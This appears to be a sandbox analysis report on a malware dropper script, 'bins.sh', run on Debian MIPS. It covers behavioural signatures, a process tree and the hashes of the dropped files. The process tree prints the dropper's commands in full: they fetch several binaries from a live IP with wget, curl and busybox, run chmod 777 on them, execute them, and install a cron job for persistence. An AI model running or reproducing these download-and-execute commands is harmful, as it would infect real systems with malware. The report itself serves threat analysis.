Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    07/11/2024, 04:12

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241107-eshftsvjaw
  • SHA256 0842deaba9af3ea853c8df5654925b4e88c5624f318ed7e368412b9f65af0191
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1620) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://216.126.231.240/bins/0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:726
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          2⤵
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          ./0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm 0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            ./mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://216.126.231.240/bins/WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              2⤵
              • Writes file to tmp directory
              PID:749
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              2⤵
              • Writes file to tmp directory
              PID:761
            • /bin/chmod
              chmod 777 WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              2⤵
              • File and Directory Permissions Modification
              PID:766
            • /tmp/WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              ./WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              2⤵
              • Executes dropped EXE
              PID:767
            • /bin/rm
              rm WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
              2⤵
                PID:770
              • /usr/bin/wget
                wget http://216.126.231.240/bins/RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                2⤵
                • Writes file to tmp directory
                PID:772
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                2⤵
                • Writes file to tmp directory
                PID:780
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                2⤵
                • Writes file to tmp directory
                PID:793
              • /bin/chmod
                chmod 777 RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                2⤵
                • File and Directory Permissions Modification
                PID:799
              • /tmp/RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                ./RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:801
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:803
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:804
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:806
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:807
                    • /bin/rm
                      rm RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                      2⤵
                        PID:810
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                        2⤵
                        • System Network Configuration Discovery
                        PID:815
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                        2⤵
                        • System Network Configuration Discovery
                        PID:897
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:907
                      • /bin/chmod
                        chmod 777 Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                        2⤵
                        • File and Directory Permissions Modification
                        PID:909
                      • /tmp/Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                        ./Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                        2⤵
                        • Executes dropped EXE
                        • System Network Configuration Discovery
                        PID:910
                      • /bin/rm
                        rm Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                        2⤵
                        • System Network Configuration Discovery
                        PID:912
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                        2⤵
                          PID:913
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                          2⤵
                            PID:914
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                            2⤵
                            • Writes file to tmp directory
                            PID:923
                          • /bin/chmod
                            chmod 777 Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                            2⤵
                            • File and Directory Permissions Modification
                            PID:924
                          • /tmp/Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                            ./Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                            2⤵
                            • Executes dropped EXE
                            PID:925
                          • /bin/rm
                            rm Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                            2⤵
                              PID:928
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                              2⤵
                                PID:929
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                                2⤵
                                  PID:930
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:931
                                • /bin/chmod
                                  chmod 777 DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:932
                                • /tmp/DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                                  ./DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                                  2⤵
                                  • Executes dropped EXE
                                  PID:933
                                • /bin/rm
                                  rm DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                                  2⤵
                                    PID:935
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                                    2⤵
                                      PID:936
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                                      2⤵
                                        PID:937
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:938
                                      • /bin/chmod
                                        chmod 777 B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:939
                                      • /tmp/B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                                        ./B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                                        2⤵
                                        • Executes dropped EXE
                                        PID:940
                                      • /bin/rm
                                        rm B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                                        2⤵
                                          PID:942
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                                          2⤵
                                            PID:943
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                                            2⤵
                                              PID:948
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:949
                                            • /bin/chmod
                                              chmod 777 Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:950
                                            • /tmp/Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                                              ./Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                                              2⤵
                                              • Executes dropped EXE
                                              PID:951
                                            • /bin/rm
                                              rm Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                                              2⤵
                                                PID:953
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/EeDd7kVj6b8h0l4LkDsPoVO1fNvBHS4eu2
                                                2⤵
                                                  PID:954
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/EeDd7kVj6b8h0l4LkDsPoVO1fNvBHS4eu2
                                                  2⤵
                                                    PID:955

                                                Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq

                                                      • Path /tmp/0j7PS6zH7lj6f5TAVmYrGIUT3cEfc81Nhq
                                                      • Size 177KB
                                                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707

                                                      • Path /tmp/B8upwM7JHwXfgEwbRTuiw50Ou4jf7Db707
                                                      • Size 111KB
                                                      • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      DVFXlBX3VcaA9wUMTsutz2su6DRah899lq

                                                      • Path /tmp/DVFXlBX3VcaA9wUMTsutz2su6DRah899lq
                                                      • Size 111KB
                                                      • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t

                                                      • Path /tmp/Ji1QAxshHwfkmh6gb63HJ4VMI7YMKxLM5t
                                                      • Size 141KB
                                                      • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY

                                                      • Path /tmp/Lv9r3pcPejffSRspKzkTuH2OgjSakaDohY
                                                      • Size 99KB
                                                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp

                                                      • Path /tmp/RgXTvrtQ0z2nXNqvhonh7UgxU5bNynBUQp
                                                      • Size 151KB
                                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3

                                                      • Path /tmp/WwH9AuKlsnfD59DacmBz4OSE1KUmhuhqW3
                                                      • Size 127KB
                                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj

                                                      • Path /tmp/Zzh5nKLup1VXawwIDWIpf3iea1SUCn3nWj
                                                      • Size 112KB
                                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      mold8uOJkqHb1XZce6QCKTv3WwOHhngefH

                                                      • Path /tmp/mold8uOJkqHb1XZce6QCKTv3WwOHhngefH
                                                      • Size 119KB
                                                      • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      tmp.662cCU

                                                      • Path /var/spool/cron/crontabs/tmp.662cCU
                                                      • Size 210B
                                                      • SHA256 6c354b21a8bac37deba973499047e920c2d754e0c55734c07e826e7e1c99d81b
                                                      • MD5 SHA1 SHA512